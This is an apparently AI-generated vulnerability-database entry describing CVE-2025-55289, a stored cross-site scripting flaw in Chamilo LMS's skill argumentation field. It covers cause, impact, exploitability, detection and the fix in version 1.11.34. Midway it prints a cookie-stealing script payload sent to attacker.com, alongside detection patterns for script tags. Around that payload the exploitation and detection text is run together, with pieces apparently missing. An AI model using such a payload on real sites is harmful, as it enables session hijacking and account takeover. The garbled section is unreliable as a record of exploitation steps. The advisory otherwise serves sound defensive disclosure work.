
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-55289 is a stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS affecting versions up to and including 1.11.32. The flaw resides in the Skills Argumentation feature, where the argumentation parameter is not properly sanitized, allowing an authenticated attacker to inject arbitrary JavaScript into the platform's social network and internal messaging features. It was disclosed on March 5–6, 2026, and patched in version 1.11.34. The CVSS v3.1 base score is 9.0 (Critical) per Feedly/NVD scoring, with the GitHub advisory assigning 8.8 (High) (GitHub Advisory, Red Hat CVE).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the argumentation parameter in Chamilo's Skill management feature fails to sanitize user-supplied input before storing and rendering it (GitHub Advisory). An authenticated attacker with low privileges can submit a crafted payload via the skill argumentation field; when an administrator or other authenticated user views the affected skill profile or social network/messaging content, the stored JavaScript executes in their browser within the LMS context. No user interaction is required on the attacker's part beyond submitting the payload, though a victim must view the malicious content for execution to occur.
Successful exploitation enables full account takeover via session hijacking, unauthorized actions performed with the victim's privileges (including administrator-level access), exfiltration of sensitive LMS data, and potential self-propagation of the malicious payload to other users through the platform's messaging and social network features (GitHub Advisory, Red Hat CVE). Because administrators are among the potential victims, a successful attack could result in complete compromise of the LMS environment, affecting confidentiality, integrity, and availability of all hosted educational data and user accounts.
As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Red Hat CVE). The EPSS score is approximately 0.047% (0.000470), indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privilege authenticated account on the target Chamilo instance, limiting the attack surface to registered users.
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a more sophisticated payload for session token exfiltration.argumentation parameter field, insert the crafted JavaScript payload and submit the form.<script>, javascript:, or encoded variants (e.g., %3Cscript%3E); LMS application logs recording unusual skill assignment activity from low-privilege accounts.Upgrade Chamilo LMS to version 1.11.34 or later, which includes input sanitization fixes for the skill argumentation parameter and other XSS-related security improvements (GitHub Release, GitHub Advisory). As interim mitigations, administrators should implement a strict Content Security Policy (CSP) header to limit script execution, restrict access to the Skill management feature to trusted users only, and review access logs for suspicious activity in social network and messaging features. There is no vendor-documented workaround short of upgrading.
The vulnerability was reported by security researcher dishant550 and published via GitHub's security advisory program on March 5, 2026 (GitHub Advisory). Red Hat tracked the CVE in their security database, and ENISA's EUVD catalogued it as EUVD-2025-208338 (Red Hat CVE). No significant broader media coverage or notable social media discussion beyond standard vulnerability aggregator postings was observed.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."